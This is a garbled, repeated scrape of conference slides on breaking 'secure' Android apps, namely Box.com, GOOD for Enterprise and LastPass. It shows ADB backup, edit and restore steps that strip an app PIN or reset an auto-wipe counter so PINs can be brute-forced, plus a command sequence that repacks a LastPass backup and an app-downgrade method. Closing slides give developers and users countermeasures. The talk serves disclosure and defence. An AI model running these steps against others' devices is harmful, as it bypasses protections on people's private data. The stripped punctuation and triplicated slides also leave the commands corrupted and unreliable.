Chris John Riley | 22102014 | 249

Users

bull Upgrade to the latest Android releasebull If possible

bull Additional ADB protectionsbull Introduced in Android 43

QuestionsOMFG

A Talking Horse

Bite me space boy

Thanks for cominghttpblogc22cc

ChrisJohnRiley contactc22cc

  • MOBILE FAIL Cracking open bdquosecureldquo Android Containers
  • Slide 2
  • Slide 3
  • Slide 4
  • Slide 5
  • Slide 6
  • Slide 7
  • Slide 8
  • Slide 9
  • Slide 10
  • Slide 11
  • Slide 12
  • Slide 13
  • Slide 14
  • ldquoSecurerdquo Containers
  • Slide 16
  • Slide 17
  • Slide 18
  • Slide 19
  • Slide 20
  • Slide 21
  • Slide 22
  • Slide 23
  • Slide 24
  • Slide 25
  • Slide 26
  • Slide 27
  • Slide 28
  • Slide 29
  • Slide 30
  • Slide 31
  • Slide 32
  • Android PIN Brute-Force
  • Slide 34
  • Slide 35
  • Slide 36
  • Slide 37
  • Slide 38
  • Scenario
  • Slide 40
  • Slide 41
  • Slide 42
  • Slide 43
  • Slide 44
  • Slide 45
  • Slide 46
  • Slide 47
  • Slide 48
  • Slide 49
  • Slide 50
  • Slide 51
  • Slide 52
  • Slide 53
  • Slide 54
  • Slide 55
  • Slide 56
  • Slide 57
  • Slide 58
  • ADB ndash Android Debug Bridge
  • Slide 60
  • Slide 61
  • ADB ndash Android Debug Bridge (2)
  • ADB ndash Android Debug Bridge (3)
  • ADB ndash Android Debug Bridge (4)
  • ADB ndash Android Debug Bridge (5)
  • ADB ndash Android Debug Bridge (6)
  • Supporting Tools
  • Slide 68
  • Slide 69
  • Slide 70
  • Slide 71
  • Slide 72
  • lastpass
  • lastpass (2)
  • Slide 75
  • Slide 76
  • Slide 77
  • Slide 78
  • Slide 79
  • Slide 80
  • Slide 81
  • AndroidManifestxml
  • AndroidManifestxml (2)
  • Slide 84
  • Slide 85
  • Slide 86
  • Android Backup (ab)
  • Slide 88
  • LPandroidxml
  • Slide 90
  • Slide 91
  • Slide 92
  • Slide 93
  • Slide 94
  • Theory
  • Proposed Attack
  • Slide 97
  • Slide 98
  • Slide 99
  • Slide 100
  • Slide 101
  • Slide 102
  • Slide 103
  • Slide 104
  • Slide 105
  • Slide 106
  • Slide 107
  • Slide 108
  • Slide 109
  • Slide 110
  • Easier Attack
  • Slide 112
  • Slide 113
  • Slide 114
  • Slide 115
  • Persistence
  • Slide 117
  • Slide 118
  • Slide 119
  • Slide 120
  • Slide 121
  • Slide 122
  • Slide 123
  • Slide 124
  • Slide 125
  • Slide 126
  • Slide 127
  • Slide 128
  • Slide 129
  • Slide 130
  • Slide 131
  • Slide 132
  • Slide 133
  • Slide 134
  • Slide 135
  • Slide 136
  • Slide 137
  • Slide 138
  • Slide 139
  • Slide 140
  • Slide 141
  • Slide 142
  • Slide 143
  • Slide 144
  • GOOD
  • Adv security features
  • Slide 147
  • Slide 148
  • Slide 149
  • Slide 150
  • Slide 151
  • Slide 152
  • Slide 153
  • Slide 154
  • Slide 155
  • Slide 156
  • Slide 157
  • AndroidManifestxml (3)
  • DERP
  • Slide 160
  • Theory (2)
  • Slide 162
  • Slide 163
  • Slide 164
  • Slide 165
  • Slide 166
  • Naiumlve Attack
  • Slide 168
  • Slide 169
  • Naiumlve Attack timing
  • Naiumlve Attack timing (2)
  • Naiumlve Attack timing (3)
  • Slide 173
  • Slide 174
  • Slide 175
  • Slide 176
  • Slide 177
  • Slide 178
  • Slide 179
  • Slide 180
  • Adv Attack
  • Slide 182
  • Minimize keyspace
  • Slide 184
  • Slide 185
  • Slide 186
  • Slide 187
  • Slide 188
  • Slide 189
  • methodology
  • Slide 191
  • Slide 192
  • Slide 193
  • Slide 194
  • Slide 195
  • Slide 196
  • Slide 197
  • Slide 198
  • ab_unpackerpy
  • ab_packerpy
  • Slide 201
  • Slide 202
  • Slide 203
  • Slide 204
  • Slide 205
  • Slide 206
  • Slide 207
  • Slide 208
  • Slide 209
  • Slide 210
  • Exploiting it anyway
  • Exploiting it anyway (2)
  • Slide 213
  • Slide 214
  • Reinstall flag
  • Slide 216
  • Uninstall Reinstall
  • Slide 218
  • Slide 219
  • Slide 220
  • Slide 221
  • Slide 222
  • Slide 223
  • Slide 224
  • Slide 225
  • Slide 226
  • Slide 227
  • Slide 228
  • Slide 229
  • Slide 230
  • Slide 231
  • Slide 232
  • Slide 233
  • Slide 234
  • Slide 235
  • Slide 236
  • Slide 237
  • androidallowBackup
  • Slide 239
  • Slide 240
  • Slide 241
  • Securing Apps
  • Slide 243
  • Securing Apps (2)
  • Slide 245
  • Extra Security
  • Slide 247
  • Users
  • Users (2)
  • Slide 250
  • Slide 251
  • Slide 252
  • Slide 253
Page 114: Mobile Fail: Cracking Open "secure" Android Containers [SecTorCA]

Chris John Riley | 22102014 | 136

Chris John Riley | 22102014 | 137

Just get to the good bıt

alreadyhellip

Chris John Riley | 22102014 | 138

Boxcom

adb backupbull myPreferencexml

Chris John Riley | 22102014 | 139

ltstring name=pinCodegt

xxxxxltstringgt

hashed pin

myPreferencexml

Chris John Riley | 22102014 | 140

subtle [ˈsʌtəl]adj

a not immediately obvious or comprehensible

b cunning or wily

Chris John Riley | 22102014 | 141

Boxcom

bull adb backupbull remove PINbull adb restore

bull Profit

Chris John Riley | 22102014 | 142

>

Chris John Riley | 22102014 | 143

Chris John Riley | 22102014 | 144

GOODfor enterprise

Chris John Riley | 22102014 | 145

GOOD

Enterprise email solutionbull email | contacts | intranet browser | hellipbull Secured with a PIN or password

bull enterprise policy

bull Wipes data device after 10 false logons

httpswwwgoodcom

Chris John Riley | 22102014 | 146

Adv security features

bull Double encryptionbull SSL Tunnel + Encrypted contents

bull Full MDM solutionbull Password Policiesbull hellip

bull r00t detectionbull emulator detectionbull advanced detection

httpswwwgoodcom

Chris John Riley | 22102014 | 147

Lost device (BYOD)bull Can an attacker prevent secure wipebull Can an attacker access cached data

Chris John Riley | 22102014 | 148

PROBLEM

1

Chris John Riley | 22102014 | 149

unlike LastPass

Chris John Riley | 22102014 | 150

preferences are

encrypted

Chris John Riley | 22102014 | 151

PROBLEM

2

Chris John Riley | 22102014 | 152

hellipafter 10 false logonsauto-wipe

Chris John Riley | 22102014 | 154

Disable PIN

Chris John Riley | 22102014 | 155

auto-wipe counter

Chris John Riley | 22102014 | 156

brute-force

Chris John Riley | 22102014 | 157

buthellip

Chris John Riley | 22102014 | 158

ltapplication androidallowBackup=ldquotruerdquogt

AndroidManifestxml

DE

RP

Chris John Riley | 22102014 | 160

THEORY

1

Chris John Riley | 22102014 | 161

Theory

bull Auto-wipe counterbull Stored IN app data somewhere

Chris John Riley | 22102014 | 162

THEORY

2

Chris John Riley | 22102014 | 163

adb restore

Chris John Riley | 22102014 | 164

over writeauto-wipe

counter

Chris John Riley | 22102014 | 165

facepalm

Chris John Riley | 22102014 | 166

brute-force

Chris John Riley | 22102014 | 167

Naiumlve Attack

bull Backup app databull until goodunlock

bull Try 9 PINSbull Restore app data

Chris John Riley | 22102014 | 168

PROBLEM

3

Chris John Riley | 22102014 | 169

Chris John Riley | 22102014 | 170

Naiumlve Attack timing

1875 ppm ~ 50 keyspace

bull 4 digit PINbull est 45 hours

bull 6 digit PINbull est 185 days

bull 8 digit PINbull est 5 years

Chris John Riley | 22102014 | 171

Naiumlve Attack timing

bull 4 lower alphanumbull est 31 days

bull 6 lower alphanumbull est 3 years

bull 8 lower alphanumbull est 110 years

1875 ppm ~ 50 keyspace

Chris John Riley | 22102014 | 172

Naiumlve Attack timing

bull 4 mixed alphanumbull est 1 year

bull 6 mixed alphanumbull est 465 years

bull 8 mixed alphanumbull est 2880 years

1875 ppm ~ 50 keyspace

Chris John Riley | 22102014 | 174

Device

CONTAINER

Chris John Riley | 22102014 | 175

Device

CONTAINER

Chris John Riley | 22102014 | 176

Device

CONTAINER

facepalm

facepalm

Chris John Riley | 22102014 | 181

Adv Attack

bull Automate PIN + restorebull adb shell input textbull adb shell input keyeventbull adb shell input tap

Chris John Riley | 22102014 | 183

Minimize keyspace

bull Password Rulesbull No sequenced numbers (eg 12xx x23x xx32)bull No duplicate numbers (eg 1111)

bull Resultbull HIGHER security

bull Less stupiditybull REDUCED keyspace

Chris John Riley | 22102014 | 185

herersquos one I

Made earlier

Chris John Riley | 22102014 | 186

>

Chris John Riley | 22102014 | 187

PROFIT

Chris John Riley | 22102014 | 189

4

][Makıngit easy

Chris John Riley | 22102014 | 190

methodology

bull Common methodologybull Backup (adb)bull Extractbull Examine bull Editbull Repackbull Restore (adb)

larr here be dragonslarr bypass all the things

Chris John Riley | 22102014 | 191

remember this process

Chris John Riley | 22102014 | 192

0 - adb backup comlastpasslpandroid -f lpassab

1 - dd if=lpassab bs=24 skip=1 | openssl zlib -d gt lpasstar

2 - tar -tf lpasstar gt lpasslist

3 - tar -xvf lpasstar

4 - edit appscomlastpasslpandroidspLPandroidxml

5 - star -c -v -f lpass_newtar -no-dirslash list=lpasslist apps

6 - dd if=lpassab bs=24 count=1 of=lpass_newab

7 - openssl zlib -in lpass_newtar gtgt lpass_newab

8 - adb restore lpass_newab

Chris John Riley | 22102014 | 193

Say that 10 times fast

Chris John Riley | 22102014 | 195

automatıon

Chris John Riley | 22102014 | 198

Pythontothe rescue

Chris John Riley | 22102014 | 199

ab_unpackerpy

httpsgithubcomChrisJohnRileyRandom_Code

Chris John Riley | 22102014 | 200

ab_packerpy

httpsgithubcomChrisJohnRileyRandom_Code

Chris John Riley | 22102014 | 201

Makes 0wning things

Chris John Riley | 22102014 | 202

200 quicker

1000 funner

oo

oo

Chris John Riley | 22102014 | 207

Bonus

n0t a bug

Chris John Riley | 22102014 | 208

Chris John Riley | 22102014 | 209

You have an application bugbull Like one of the ones mentioned herebull Buthellip the vendor has patched it

Chris John Riley | 22102014 | 210

exploit

Chris John Riley | 22102014 | 211

Exploiting it anyway

Canrsquot exploit it straight offbull Need to make the vuln re-appear

Chris John Riley | 22102014 | 212

Exploiting it anyway

Android allows downgrading of appsbull In a round-about way anyway )bull Bug or feature

bull Google says feature

Chris John Riley | 22102014 | 213

Chris John Riley | 22102014 | 214

METHOD

1

Chris John Riley | 22102014 | 215

Reinstall flag

Reinstall app using ndashr parameterbull APK MUST have valid matching signature

adb install -r ltvulnerble_versionapkgt

Chris John Riley | 22102014 | 216

METHOD

2

Chris John Riley | 22102014 | 217

Uninstall Reinstall

bull Uninstall applicationbull Leave program data in place (-k)

bull Reinstall appbull APK MUST have valid matching signature

1gt adb uninstall -k ltcurrentappversiongt2gt adb install ltvulnerble_versionapkgt

Chris John Riley | 22102014 | 218

exploit

Chris John Riley | 22102014 | 219

derpppp

derp

DerpderpDERPDE

RPderp

derp

Derpderp DE

RP

derp DerpderP

Chris John Riley | 22102014 | 221

5

][ RE

VIEW

Chris John Riley | 22102014 | 222

ldquosecurerdquocontainers

=SECURE containers

Chris John Riley | 22102014 | 223

Physıcal access

Chris John Riley | 22102014 | 225

Devıcesecurity

Chris John Riley | 22102014 | 226

Datasecurity

Chris John Riley | 22102014 | 228

51

)( ITFIX

Chris John Riley | 22102014 | 230

specificissues

Chris John Riley | 22102014 | 231

lastpass

Chris John Riley | 22102014 | 232

spideroak

Chris John Riley | 22102014 | 233

boxcom

Chris John Riley | 22102014 | 234

GOODfor enterprise

Chris John Riley | 22102014 | 236

Developers

Can youread this

Chris John Riley | 22102014 | 238

androidallowBackup

httpdeveloperandroidcomguidetopicsdatabackuphtml

Chris John Riley | 22102014 | 239

Some devs

GET it

Chris John Riley | 22102014 | 240

Chris John Riley | 22102014 | 241

pref fıles

Chris John Riley | 22102014 | 242

Securing Apps

bull Preference files are NOT secretbull Encrypt preference databull ONLY store encrypted passwords

bull No XOR base64 pleasebull Better still donrsquot store passwords here

bull Donrsquot TRUST the configbull HMAC | Sign | Encrypt

Chris John Riley | 22102014 | 243

androıd backup

Chris John Riley | 22102014 | 244

Securing Apps

bull Disallow Android Backupbull if you donrsquot absolutely need it

ltapplication androidallowBackup=ldquofalserdquogt

Chris John Riley | 22102014 | 245

extra securıty

Chris John Riley | 22102014 | 246

Extra Security

bull USB Debuggingbull Detect + Disable app when activated

bull Root makes these hacks easier stillbull readedit preference files on device itselfbull ROOT detection is too basic

bull easy to fool

usersen

d

Chris John Riley | 22102014 | 248

Users

bull Encrypt your devicebull Encrypts ADB backups

bull Need to enter same passcode on backup screen

bull Disable USB Debuggingbull protects against adb pull push attacks

bull Donrsquot lose your phone )

Chris John Riley | 22102014 | 249

Users

bull Upgrade to the latest Android releasebull If possible

bull Additional ADB protectionsbull Introduced in Android 43

QuestionsOMFG

A Talking Horse

Bite me space boy

Thanks for cominghttpblogc22cc

ChrisJohnRiley contactc22cc

  • MOBILE FAIL Cracking open bdquosecureldquo Android Containers
  • Slide 2
  • Slide 3
  • Slide 4
  • Slide 5
  • Slide 6
  • Slide 7
  • Slide 8
  • Slide 9
  • Slide 10
  • Slide 11
  • Slide 12
  • Slide 13
  • Slide 14
  • ldquoSecurerdquo Containers
  • Slide 16
  • Slide 17
  • Slide 18
  • Slide 19
  • Slide 20
  • Slide 21
  • Slide 22
  • Slide 23
  • Slide 24
  • Slide 25
  • Slide 26
  • Slide 27
  • Slide 28
  • Slide 29
  • Slide 30
  • Slide 31
  • Slide 32
  • Android PIN Brute-Force
  • Slide 34
  • Slide 35
  • Slide 36
  • Slide 37
  • Slide 38
  • Scenario
  • Slide 40
  • Slide 41
  • Slide 42
  • Slide 43
  • Slide 44
  • Slide 45
  • Slide 46
  • Slide 47
  • Slide 48
  • Slide 49
  • Slide 50
  • Slide 51
  • Slide 52
  • Slide 53
  • Slide 54
  • Slide 55
  • Slide 56
  • Slide 57
  • Slide 58
  • ADB ndash Android Debug Bridge
  • Slide 60
  • Slide 61
  • ADB ndash Android Debug Bridge (2)
  • ADB ndash Android Debug Bridge (3)
  • ADB ndash Android Debug Bridge (4)
  • ADB ndash Android Debug Bridge (5)
  • ADB ndash Android Debug Bridge (6)
  • Supporting Tools
  • Slide 68
  • Slide 69
  • Slide 70
  • Slide 71
  • Slide 72
  • lastpass
  • lastpass (2)
  • Slide 75
  • Slide 76
  • Slide 77
  • Slide 78
  • Slide 79
  • Slide 80
  • Slide 81
  • AndroidManifestxml
  • AndroidManifestxml (2)
  • Slide 84
  • Slide 85
  • Slide 86
  • Android Backup (ab)
  • Slide 88
  • LPandroidxml
  • Slide 90
  • Slide 91
  • Slide 92
  • Slide 93
  • Slide 94
  • Theory
  • Proposed Attack
  • Slide 97
  • Slide 98
  • Slide 99
  • Slide 100
  • Slide 101
  • Slide 102
  • Slide 103
  • Slide 104
  • Slide 105
  • Slide 106
  • Slide 107
  • Slide 108
  • Slide 109
  • Slide 110
  • Easier Attack
  • Slide 112
  • Slide 113
  • Slide 114
  • Slide 115
  • Persistence
  • Slide 117
  • Slide 118
  • Slide 119
  • Slide 120
  • Slide 121
  • Slide 122
  • Slide 123
  • Slide 124
  • Slide 125
  • Slide 126
  • Slide 127
  • Slide 128
  • Slide 129
  • Slide 130
  • Slide 131
  • Slide 132
  • Slide 133
  • Slide 134
  • Slide 135
  • Slide 136
  • Slide 137
  • Slide 138
  • Slide 139
  • Slide 140
  • Slide 141
  • Slide 142
  • Slide 143
  • Slide 144
  • GOOD
  • Adv security features
  • Slide 147
  • Slide 148
  • Slide 149
  • Slide 150
  • Slide 151
  • Slide 152
  • Slide 153
  • Slide 154
  • Slide 155
  • Slide 156
  • Slide 157
  • AndroidManifestxml (3)
  • DERP
  • Slide 160
  • Theory (2)
  • Slide 162
  • Slide 163
  • Slide 164
  • Slide 165
  • Slide 166
  • Naiumlve Attack
  • Slide 168
  • Slide 169
  • Naiumlve Attack timing
  • Naiumlve Attack timing (2)
  • Naiumlve Attack timing (3)
  • Slide 173
  • Slide 174
  • Slide 175
  • Slide 176
  • Slide 177
  • Slide 178
  • Slide 179
  • Slide 180
  • Adv Attack
  • Slide 182
  • Minimize keyspace
  • Slide 184
  • Slide 185
  • Slide 186
  • Slide 187
  • Slide 188
  • Slide 189
  • methodology
  • Slide 191
  • Slide 192
  • Slide 193
  • Slide 194
  • Slide 195
  • Slide 196
  • Slide 197
  • Slide 198
  • ab_unpackerpy
  • ab_packerpy
  • Slide 201
  • Slide 202
  • Slide 203
  • Slide 204
  • Slide 205
  • Slide 206
  • Slide 207
  • Slide 208
  • Slide 209
  • Slide 210
  • Exploiting it anyway
  • Exploiting it anyway (2)
  • Slide 213
  • Slide 214
  • Reinstall flag
  • Slide 216
  • Uninstall Reinstall
  • Slide 218
  • Slide 219
  • Slide 220
  • Slide 221
  • Slide 222
  • Slide 223
  • Slide 224
  • Slide 225
  • Slide 226
  • Slide 227
  • Slide 228
  • Slide 229
  • Slide 230
  • Slide 231
  • Slide 232
  • Slide 233
  • Slide 234
  • Slide 235
  • Slide 236
  • Slide 237
  • androidallowBackup
  • Slide 239
  • Slide 240
  • Slide 241
  • Securing Apps
  • Slide 243
  • Securing Apps (2)
  • Slide 245
  • Extra Security
  • Slide 247
  • Users
  • Users (2)
  • Slide 250
  • Slide 251
  • Slide 252
  • Slide 253
Page 115: Mobile Fail: Cracking Open "secure" Android Containers [SecTorCA]

Chris John Riley | 22102014 | 137

Just get to the good bıt

alreadyhellip

Chris John Riley | 22102014 | 138

Boxcom

adb backupbull myPreferencexml

Chris John Riley | 22102014 | 139

ltstring name=pinCodegt

xxxxxltstringgt

hashed pin

myPreferencexml

Chris John Riley | 22102014 | 140

subtle [ˈsʌtəl]adj

a not immediately obvious or comprehensible

b cunning or wily

Chris John Riley | 22102014 | 141

Boxcom

bull adb backupbull remove PINbull adb restore

bull Profit

Chris John Riley | 22102014 | 142

>

Chris John Riley | 22102014 | 143

Chris John Riley | 22102014 | 144

GOODfor enterprise

Chris John Riley | 22102014 | 145

GOOD

Enterprise email solutionbull email | contacts | intranet browser | hellipbull Secured with a PIN or password

bull enterprise policy

bull Wipes data device after 10 false logons

httpswwwgoodcom

Chris John Riley | 22102014 | 146

Adv security features

bull Double encryptionbull SSL Tunnel + Encrypted contents

bull Full MDM solutionbull Password Policiesbull hellip

bull r00t detectionbull emulator detectionbull advanced detection

httpswwwgoodcom

Chris John Riley | 22102014 | 147

Lost device (BYOD)bull Can an attacker prevent secure wipebull Can an attacker access cached data

Chris John Riley | 22102014 | 148

PROBLEM

1

Chris John Riley | 22102014 | 149

unlike LastPass

Chris John Riley | 22102014 | 150

preferences are

encrypted

Chris John Riley | 22102014 | 151

PROBLEM

2

Chris John Riley | 22102014 | 152

hellipafter 10 false logonsauto-wipe

Chris John Riley | 22102014 | 154

Disable PIN

Chris John Riley | 22102014 | 155

auto-wipe counter

Chris John Riley | 22102014 | 156

brute-force

Chris John Riley | 22102014 | 157

buthellip

Chris John Riley | 22102014 | 158

ltapplication androidallowBackup=ldquotruerdquogt

AndroidManifestxml

DE

RP

Chris John Riley | 22102014 | 160

THEORY

1

Chris John Riley | 22102014 | 161

Theory

bull Auto-wipe counterbull Stored IN app data somewhere

Chris John Riley | 22102014 | 162

THEORY

2

Chris John Riley | 22102014 | 163

adb restore

Chris John Riley | 22102014 | 164

over writeauto-wipe

counter

Chris John Riley | 22102014 | 165

facepalm

Chris John Riley | 22102014 | 166

brute-force

Chris John Riley | 22102014 | 167

Naiumlve Attack

bull Backup app databull until goodunlock

bull Try 9 PINSbull Restore app data

Chris John Riley | 22102014 | 168

PROBLEM

3

Chris John Riley | 22102014 | 169

Chris John Riley | 22102014 | 170

Naiumlve Attack timing

1875 ppm ~ 50 keyspace

bull 4 digit PINbull est 45 hours

bull 6 digit PINbull est 185 days

bull 8 digit PINbull est 5 years

Chris John Riley | 22102014 | 171

Naiumlve Attack timing

bull 4 lower alphanumbull est 31 days

bull 6 lower alphanumbull est 3 years

bull 8 lower alphanumbull est 110 years

1875 ppm ~ 50 keyspace

Chris John Riley | 22102014 | 172

Naiumlve Attack timing

bull 4 mixed alphanumbull est 1 year

bull 6 mixed alphanumbull est 465 years

bull 8 mixed alphanumbull est 2880 years

1875 ppm ~ 50 keyspace

Chris John Riley | 22102014 | 174

Device

CONTAINER

Chris John Riley | 22102014 | 175

Device

CONTAINER

Chris John Riley | 22102014 | 176

Device

CONTAINER

facepalm

facepalm

Chris John Riley | 22102014 | 181

Adv Attack

bull Automate PIN + restorebull adb shell input textbull adb shell input keyeventbull adb shell input tap

Chris John Riley | 22102014 | 183

Minimize keyspace

bull Password Rulesbull No sequenced numbers (eg 12xx x23x xx32)bull No duplicate numbers (eg 1111)

bull Resultbull HIGHER security

bull Less stupiditybull REDUCED keyspace

Chris John Riley | 22102014 | 185

herersquos one I

Made earlier

Chris John Riley | 22102014 | 186

>

Chris John Riley | 22102014 | 187

PROFIT

Chris John Riley | 22102014 | 189

4

][Makıngit easy

Chris John Riley | 22102014 | 190

methodology

bull Common methodologybull Backup (adb)bull Extractbull Examine bull Editbull Repackbull Restore (adb)

larr here be dragonslarr bypass all the things

Chris John Riley | 22102014 | 191

remember this process

Chris John Riley | 22102014 | 192

0 - adb backup comlastpasslpandroid -f lpassab

1 - dd if=lpassab bs=24 skip=1 | openssl zlib -d gt lpasstar

2 - tar -tf lpasstar gt lpasslist

3 - tar -xvf lpasstar

4 - edit appscomlastpasslpandroidspLPandroidxml

5 - star -c -v -f lpass_newtar -no-dirslash list=lpasslist apps

6 - dd if=lpassab bs=24 count=1 of=lpass_newab

7 - openssl zlib -in lpass_newtar gtgt lpass_newab

8 - adb restore lpass_newab

Chris John Riley | 22102014 | 193

Say that 10 times fast

Chris John Riley | 22102014 | 195

automatıon

Chris John Riley | 22102014 | 198

Pythontothe rescue

Chris John Riley | 22102014 | 199

ab_unpackerpy

httpsgithubcomChrisJohnRileyRandom_Code

Chris John Riley | 22102014 | 200

ab_packerpy

httpsgithubcomChrisJohnRileyRandom_Code

Chris John Riley | 22102014 | 201

Makes 0wning things

Chris John Riley | 22102014 | 202

200 quicker

1000 funner

oo

oo

Chris John Riley | 22102014 | 207

Bonus

n0t a bug

Chris John Riley | 22102014 | 208

Chris John Riley | 22102014 | 209

You have an application bugbull Like one of the ones mentioned herebull Buthellip the vendor has patched it

Chris John Riley | 22102014 | 210

exploit

Chris John Riley | 22102014 | 211

Exploiting it anyway

Canrsquot exploit it straight offbull Need to make the vuln re-appear

Chris John Riley | 22102014 | 212

Exploiting it anyway

Android allows downgrading of appsbull In a round-about way anyway )bull Bug or feature

bull Google says feature

Chris John Riley | 22102014 | 213

Chris John Riley | 22102014 | 214

METHOD

1

Chris John Riley | 22102014 | 215

Reinstall flag

Reinstall app using ndashr parameterbull APK MUST have valid matching signature

adb install -r ltvulnerble_versionapkgt

Chris John Riley | 22102014 | 216

METHOD

2

Chris John Riley | 22102014 | 217

Uninstall Reinstall

bull Uninstall applicationbull Leave program data in place (-k)

bull Reinstall appbull APK MUST have valid matching signature

1gt adb uninstall -k ltcurrentappversiongt2gt adb install ltvulnerble_versionapkgt

Chris John Riley | 22102014 | 218

exploit

Chris John Riley | 22102014 | 219

derpppp

derp

DerpderpDERPDE

RPderp

derp

Derpderp DE

RP

derp DerpderP

Chris John Riley | 22102014 | 221

5

][ RE

VIEW

Chris John Riley | 22102014 | 222

ldquosecurerdquocontainers

=SECURE containers

Chris John Riley | 22102014 | 223

Physıcal access

Chris John Riley | 22102014 | 225

Devıcesecurity

Chris John Riley | 22102014 | 226

Datasecurity

Chris John Riley | 22102014 | 228

51

)( ITFIX

Chris John Riley | 22102014 | 230

specificissues

Chris John Riley | 22102014 | 231

lastpass

Chris John Riley | 22102014 | 232

spideroak

Chris John Riley | 22102014 | 233

boxcom

Chris John Riley | 22102014 | 234

GOODfor enterprise

Chris John Riley | 22102014 | 236

Developers

Can youread this

Chris John Riley | 22102014 | 238

androidallowBackup

httpdeveloperandroidcomguidetopicsdatabackuphtml

Chris John Riley | 22102014 | 239

Some devs

GET it

Chris John Riley | 22102014 | 240

Chris John Riley | 22102014 | 241

pref fıles

Chris John Riley | 22102014 | 242

Securing Apps

bull Preference files are NOT secretbull Encrypt preference databull ONLY store encrypted passwords

bull No XOR base64 pleasebull Better still donrsquot store passwords here

bull Donrsquot TRUST the configbull HMAC | Sign | Encrypt

Chris John Riley | 22102014 | 243

androıd backup

Chris John Riley | 22102014 | 244

Securing Apps

bull Disallow Android Backupbull if you donrsquot absolutely need it

ltapplication androidallowBackup=ldquofalserdquogt

Chris John Riley | 22102014 | 245

extra securıty

Chris John Riley | 22102014 | 246

Extra Security

bull USB Debuggingbull Detect + Disable app when activated

bull Root makes these hacks easier stillbull readedit preference files on device itselfbull ROOT detection is too basic

bull easy to fool

usersen

d

Chris John Riley | 22102014 | 248

Users

bull Encrypt your devicebull Encrypts ADB backups

bull Need to enter same passcode on backup screen

bull Disable USB Debuggingbull protects against adb pull push attacks

bull Donrsquot lose your phone )

Chris John Riley | 22102014 | 249

Users

bull Upgrade to the latest Android releasebull If possible

bull Additional ADB protectionsbull Introduced in Android 43

QuestionsOMFG

A Talking Horse

Bite me space boy

Thanks for cominghttpblogc22cc

ChrisJohnRiley contactc22cc

  • MOBILE FAIL Cracking open bdquosecureldquo Android Containers
  • Slide 2
  • Slide 3
  • Slide 4
  • Slide 5
  • Slide 6
  • Slide 7
  • Slide 8
  • Slide 9
  • Slide 10
  • Slide 11
  • Slide 12
  • Slide 13
  • Slide 14
  • ldquoSecurerdquo Containers
  • Slide 16
  • Slide 17
  • Slide 18
  • Slide 19
  • Slide 20
  • Slide 21
  • Slide 22
  • Slide 23
  • Slide 24
  • Slide 25
  • Slide 26
  • Slide 27
  • Slide 28
  • Slide 29
  • Slide 30
  • Slide 31
  • Slide 32
  • Android PIN Brute-Force
  • Slide 34
  • Slide 35
  • Slide 36
  • Slide 37
  • Slide 38
  • Scenario
  • Slide 40
  • Slide 41
  • Slide 42
  • Slide 43
  • Slide 44
  • Slide 45
  • Slide 46
  • Slide 47
  • Slide 48
  • Slide 49
  • Slide 50
  • Slide 51
  • Slide 52
  • Slide 53
  • Slide 54
  • Slide 55
  • Slide 56
  • Slide 57
  • Slide 58
  • ADB ndash Android Debug Bridge
  • Slide 60
  • Slide 61
  • ADB ndash Android Debug Bridge (2)
  • ADB ndash Android Debug Bridge (3)
  • ADB ndash Android Debug Bridge (4)
  • ADB ndash Android Debug Bridge (5)
  • ADB ndash Android Debug Bridge (6)
  • Supporting Tools
  • Slide 68
  • Slide 69
  • Slide 70
  • Slide 71
  • Slide 72
  • lastpass
  • lastpass (2)
  • Slide 75
  • Slide 76
  • Slide 77
  • Slide 78
  • Slide 79
  • Slide 80
  • Slide 81
  • AndroidManifestxml
  • AndroidManifestxml (2)
  • Slide 84
  • Slide 85
  • Slide 86
  • Android Backup (ab)
  • Slide 88
  • LPandroidxml
  • Slide 90
  • Slide 91
  • Slide 92
  • Slide 93
  • Slide 94
  • Theory
  • Proposed Attack
  • Slide 97
  • Slide 98
  • Slide 99
  • Slide 100
  • Slide 101
  • Slide 102
  • Slide 103
  • Slide 104
  • Slide 105
  • Slide 106
  • Slide 107
  • Slide 108
  • Slide 109
  • Slide 110
  • Easier Attack
  • Slide 112
  • Slide 113
  • Slide 114
  • Slide 115
  • Persistence
  • Slide 117
  • Slide 118
  • Slide 119
  • Slide 120
  • Slide 121
  • Slide 122
  • Slide 123
  • Slide 124
  • Slide 125
  • Slide 126
  • Slide 127
  • Slide 128
  • Slide 129
  • Slide 130
  • Slide 131
  • Slide 132
  • Slide 133
  • Slide 134
  • Slide 135
  • Slide 136
  • Slide 137
  • Slide 138
  • Slide 139
  • Slide 140
  • Slide 141
  • Slide 142
  • Slide 143
  • Slide 144
  • GOOD
  • Adv security features
  • Slide 147
  • Slide 148
  • Slide 149
  • Slide 150
  • Slide 151
  • Slide 152
  • Slide 153
  • Slide 154
  • Slide 155
  • Slide 156
  • Slide 157
  • AndroidManifestxml (3)
  • DERP
  • Slide 160
  • Theory (2)
  • Slide 162
  • Slide 163
  • Slide 164
  • Slide 165
  • Slide 166
  • Naiumlve Attack
  • Slide 168
  • Slide 169
  • Naiumlve Attack timing
  • Naiumlve Attack timing (2)
  • Naiumlve Attack timing (3)
  • Slide 173
  • Slide 174
  • Slide 175
  • Slide 176
  • Slide 177
  • Slide 178
  • Slide 179
  • Slide 180
  • Adv Attack
  • Slide 182
  • Minimize keyspace
  • Slide 184
  • Slide 185
  • Slide 186
  • Slide 187
  • Slide 188
  • Slide 189
  • methodology
  • Slide 191
  • Slide 192
  • Slide 193
  • Slide 194
  • Slide 195
  • Slide 196
  • Slide 197
  • Slide 198
  • ab_unpackerpy
  • ab_packerpy
  • Slide 201
  • Slide 202
  • Slide 203
  • Slide 204
  • Slide 205
  • Slide 206
  • Slide 207
  • Slide 208
  • Slide 209
  • Slide 210
  • Exploiting it anyway
  • Exploiting it anyway (2)
  • Slide 213
  • Slide 214
  • Reinstall flag
  • Slide 216
  • Uninstall Reinstall
  • Slide 218
  • Slide 219
  • Slide 220
  • Slide 221
  • Slide 222
  • Slide 223
  • Slide 224
  • Slide 225
  • Slide 226
  • Slide 227
  • Slide 228
  • Slide 229
  • Slide 230
  • Slide 231
  • Slide 232
  • Slide 233
  • Slide 234
  • Slide 235
  • Slide 236
  • Slide 237
  • androidallowBackup
  • Slide 239
  • Slide 240
  • Slide 241
  • Securing Apps
  • Slide 243
  • Securing Apps (2)
  • Slide 245
  • Extra Security
  • Slide 247
  • Users
  • Users (2)
  • Slide 250
  • Slide 251
  • Slide 252
  • Slide 253
Page 116: Mobile Fail: Cracking Open "secure" Android Containers [SecTorCA]

Chris John Riley | 22102014 | 138

Boxcom

adb backupbull myPreferencexml

Chris John Riley | 22102014 | 139

ltstring name=pinCodegt

xxxxxltstringgt

hashed pin

myPreferencexml

Chris John Riley | 22102014 | 140

subtle [ˈsʌtəl]adj

